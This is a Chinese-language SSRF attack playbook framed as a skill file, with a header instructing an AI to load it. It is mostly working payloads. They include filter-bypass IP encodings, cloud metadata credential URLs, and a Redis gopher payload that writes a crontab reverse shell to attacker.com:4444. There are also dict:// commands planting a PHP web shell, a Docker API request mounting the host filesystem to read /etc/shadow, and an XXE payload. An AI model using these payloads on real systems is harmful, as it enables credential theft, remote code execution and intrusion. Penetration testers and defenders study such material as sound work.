SSRF 实战手册。当服务端涉及 URL 拉取、域名解析、远程内容导入,或者可能被诱导访问内网、云厂商 Metadata 及二次协议时使用。
SKILL:服务端请求伪造(SSRF)—— 专家级攻击手册
AI 加载指令:SSRF 进阶实战技巧。涵盖 URL 过滤绕过、云 Metadata 端点、协议利用、盲注 SSRF 检测以及组合拳接管 RCE。基础大模型仅了解最基本的 169.254.169.254,本文件补充了它们缺失的精髓内容。如需了解真实 CVE 攻击链、DNS Rebinding 深度解析、K8s SSRF 以及 SSRF → Redis → RCE 完整利用链,请一并加载配套文档 SCENARIOS.md。
0. 快速上手
扩展场景
在以下场景中,建议一并加载 SCENARIOS.md:
- WebLogic SSRF (CVE-2014-4210) — 利用
uddiexplorer/SearchPublicRegistries.jsp+operator参数 +%0D%0ACRLF 注入 Redis 命令 - SSRF → 内网 Redis → 写入 crontab 反弹 Shell 完整 Payload 链
- DNS Rebinding 深度解析 — TTL=0 技巧、首次合法/二次内网解析机制、
rbndr.us服务的使用 - Kubernetes SSRF (CVE-2020-8555) 及利用 DNS Rebinding 实现的绕过 (CVE-2020-8562)
- 通过 PDF / 截图生成器触发 SSRF — 在 HTML-to-PDF 中利用
<iframe>与<img> - Gopher 协议全量 TCP 注入 — 通过 Gopherus 生成 Redis、MySQL、FastCGI Payload
- 利用 URL 解析器差异绕过过滤 —
#@、\@、%00@、IPv6 映射 IPv4
进阶参考
在以下场景中,建议一并加载 URL_PARSER_TRICKS.md:
- URL 解析器差异对比表:Python urllib vs requests vs Java URL vs PHP parse_url vs Node url.parse vs Go net/url
- 完整云厂商 Metadata 端点清单(AWS IMDSv1/v2、GCP、Azure、DigitalOcean、阿里云、Oracle Cloud、Kubernetes、Hetzner、OpenStack)
- Redis、MySQL、SMTP、FastCGI、Memcached 的 gopher:// Payload 模板(含编码规则)
- DNS Rebinding 详细攻击流程(含 TTL 操控与 TOCTOU 竞态分析)
- PDF/wkhtmltopdf/WeasyPrint/Chrome headless/PhantomJS 的 SSRF 模式与数据带出技巧
如果你刚刚发现了一个会发起 URL 请求的参数,可以直接按照下方步骤进行首轮确认。
首轮确认 Payload
http://127.0.0.1/
http://localhost/
http://169.254.169.254/latest/meta-data/
http://[::1]/
http://127.1/
主机校验绕过类型
| 校验类型 | 尝试方法 |
|---|---|
封堵 localhost 字符串 |
127.0.0.1, 127.1, [::1] |
| 仅封堵直连 IP | 内网 DNS 域名、十进制/八进制/十六进制 IP 形式 |
| 前缀白名单校验 | 用户名混淆、子域名混淆、跳转链 |
| 遵循 HTTP 重定向 | 指向内网目标的合法外部重定向 URL |
| 解析一次,请求两次 | 混合编码或 DNS Rebinding 目标 |
协议路由目标
| 攻击目标 | 推荐协议 / 目标地址 |
|---|---|
| 云厂商凭据 | Metadata HTTP 端点 |
| 内网 HTTP 管理后台 | http://127.0.0.1:port/ |
| Redis / 原始 TCP 交互 | gopher:// |
| 本地文件读取 | file:// |
| 字典 / Banner 探测 | dict:// |
1. 寻找 SSRF 攻击面
重点关注任何包含 DNS 域名、IP 地址或 URL 的参数:
loc= url= path= endpoint=
imageUrl= dest= redirect= uri=
callback= load= file= resource=
link= src= data= ref=
较为隐蔽的 SSRF 矢量:
- PDF / 网页截图生成功能(待抓取的 URL 参数)
- Webhook 配置字段
- 通过 URL 进行导入/导出(CSV 导入、RSS/Atom 订阅源)
- OAuth 重定向 URI(有时会触发服务端 HTTP 请求)
- 反向代理链中的
X-Forwarded-Host/X-Real-IP请求头 - 包含外部实体的 XML
DOCTYPE(file://、http://) - GraphQL
@link指令(联邦图谱) - Content-Type:
text/html页面解析时提取的<link>预加载请求头
2. 基础确认方法论
步骤 1:提交你的 Burp Collaborator / interact.sh URL
→ 检查目标服务器是否发起出站连接(确认存在全功能 SSRF)
步骤 2:若未收到外带回调 → 测试基于时间的延迟差异(端口开放 = 响应快,端口关闭 = 响应慢/重置):
对比以下响应时间:
http://192.168.1.1:22 (可能开放 → 快速响应)
http://192.168.1.1:9999 (可能关闭 → 响应慢/超时)
步骤 3:尝试访问本地服务(localhost):
http://127.0.0.1:8080
http://127.0.0.1:22
http://127.0.0.1:6379 (Redis)
http://127.0.0.1:9200 (Elasticsearch)
http://127.0.0.1:5984 (CouchDB)
http://127.0.0.1:2375 (Docker daemon — 高危!)
http://127.0.0.1:4840 (内网管理后台)
3. 云厂商 METADATA 端点 —— 必测项
AWS EC2 IMDSv1(无需身份验证 —— 严重高危)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
AWS IMDSv2(需要 Token —— 但需排查 SSRF 是否能获取该 Token)
Step 1: PUT http://169.254.169.254/latest/api/token
Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
Step 2: GET http://169.254.169.254/latest/meta-data/
Header: X-aws-ec2-metadata-token: TOKEN
若 SSRF 支持自定义请求头 → 可实现 IMDSv2 完整绕过。
谷歌云 (Google Cloud)
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Headers: Metadata-Flavor: Google
微软云 (Azure)
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Headers: Metadata: true
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/
阿里云 (Alibaba Cloud)
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/
Kubernetes 服务账号凭据
file:///var/run/secrets/kubernetes.io/serviceaccount/token
file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt
http://kubernetes.default.svc/api/v1/namespaces/default/secrets
4. IP 地址过滤绕过技巧
当 169.254.169.254、127.0.0.1、localhost 被黑名单拦截时:
Localhost 变体
127.0.0.1
127.1
127.0.1
127.000.000.001 ← 八进制填充
0x7f000001 ← 十六进制
2130706433 ← 十进制 (0x7f000001)
0177.0000.0000.0001 ← 八进制
[::] ← IPv6 环回
[::1] ← IPv6 环回
[::ffff:127.0.0.1] ← IPv4 映射 IPv6
169.254.169.254 变体
169.254.169.254
2852039166 ← 十进制
0xa9fea9fe ← 十六进制
0251.0376.0251.0376 ← 八进制
[::ffff:169.254.169.254] ← IPv6
169.254.169.254.nip.io ← DNS Rebinding 服务
内网私有地址段
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
fc00::/7 ← IPv6 私有地址段
通过 DNS 输入绕过过滤
若过滤机制仅校验 DNS 解析后的 IP(而非输入的域名本身):
http://attacker.com/ ← DNS A 记录指向 169.254.169.254
使用 DNS Rebinding:首次查询返回合法外网 IP → 绕过黑名单校验 → 第二次请求解析为内网目标 IP。
5. URL 协议头(Scheme)攻击
当 http:// 允许使用或过滤不严时:
file:///etc/passwd
file:///proc/self/environ
file:///proc/net/arp ← 泄漏内网网络 ARP 表
file:///proc/net/tcp ← 开放的网络连接
dict://127.0.0.1:6379/INFO ← 通过 dict:// 执行 Redis INFO 命令
gopher://127.0.0.1:6379/_INFO%0d%0a ← 通过 gopher 协议交互 Redis
gopher://127.0.0.1:9200/ ← Elasticsearch
sftp://attacker.com:11111/ ← 触发 SFTP 连接(获取凭据哈希)
ldap://attacker.com:389/ ← 触发 LDAP 绑定请求
ftp://attacker.com/ ← 触发 FTP 连接
Redis Gopher SSRF(可直接接管 RCE)
gopher://127.0.0.1:6379/_%2A1%0D%0A%244%0D%0Aping%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2456%0D%0A%0D%0A%0A%0A*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0A%0A%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
6. 盲注型 SSRF(Blind SSRF)检测
当响应包中不回显抓取到的内容时:
- Burp Collaborator / interact.sh:检查是否有来自目标服务器的 DNS + HTTP 请求
- Pingback / Webhook 滥用:将应用本身的 Webhook 地址配置为你控制的外部 URL
- 基于时间的延迟分析:利用内网开放端口与关闭端口的响应时间差进行推断
- 报错信息分析:通过“Host Not Found”、“Connection Refused”或“Timeout”等不同报错提示探测内网拓扑
7. 内网服务深入利用
Docker API(2375 端口未授权访问)
http://127.0.0.1:2375/v1.24/containers/json ← 列出容器
http://127.0.0.1:2375/v1.24/images/json ← 列出镜像
# 创建特权容器 → 逃逸至宿主机:
POST http://127.0.0.1:2375/v1.24/containers/create
{"Image":"alpine","Cmd":["cat","/etc/shadow"],"HostConfig":{"Binds":["/:/host"]}}
Elasticsearch(9200 端口默认未授权)
http://127.0.0.1:9200/_cat/indices
http://127.0.0.1:9200/.kibana/_search
http://127.0.0.1:9200/INDEX_NAME/_search?q=*
Redis(6379 端口常见的未授权访问)
dict://127.0.0.1:6379/CONFIG:SET:dir:/var/www/html
dict://127.0.0.1:6379/CONFIG:SET:dbfilename:shell.php
dict://127.0.0.1:6379/SET:key:<?php system($_GET[c]);?>
dict://127.0.0.1:6379/BGSAVE
内网管理后台
http://127.0.0.1:8080/admin
http://127.0.0.1:8443/admin
http://127.0.0.1:9000/actuator ← Spring Boot Actuator(暴露的监控端点)
http://127.0.0.1:9000/actuator/env
http://127.0.0.1:9000/actuator/heapdump
8. SSRF 与过滤绕过决策树
发现 SSRF 参数?
├── 尝试直连 http://169.254.169.254/ → 被拦截?
│ ├── 尝试十进制 / 十六进制 / 八进制变体
│ ├── 尝试 IPv6 变体 [::ffff:169.254.169.254]
│ ├── 尝试 DNS Rebinding(nip.io、自建域名 NS)
│ └── 尝试 302 重定向:attacker.com → 169.254.169.254
│
├── 尝试 http://127.0.0.1/ → 被拦截?
│ ├── 尝试 127.1 / 127.0.1 / 0x7f000001 / 2130706433
│ ├── 尝试 localhost(某些黑名单未覆盖)
│ └── 尝试 IPv6 [::1]
│
├── 允许哪些协议?
│ ├── dict:// → 测试 Redis、Memcached
│ ├── gopher:// → 完整 TCP 数据注入(攻击 Redis / SMTP)
│ ├── file:// → 本地文件读取
│ └── sftp:// ldap:// ftp:// → 网络协议交互
│
└── 盲注型 SSRF → 使用 Burp Collaborator 外带
└── 仅支持 DNS 外带 → 使用 DNS Rebinding 或 OOB DNS 盲注
9. SSRF 过滤防护的对抗思维
借鉴 zseano 的渗透测试思维:如果开发者仅仅直接硬编码拦截 169.254.169.254,而没有校验完整路径 http://169.254.169.254/latest/meta-data,或者忽略了以下情况:
- 等价的 IPv6 表达形式
- 解析至内网 IP 的 DNS 域名
- 重定向链(服务端跟随 302 跳转至内网 IP)
典型漏洞盲区:应用拦截了 127.0.0.1,但漏掉了 127.1、[::1] 或 localhost。
基于 XML 的应用层 SSRF(当应用会解析 XML 时):
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<request>&xxe;</request>






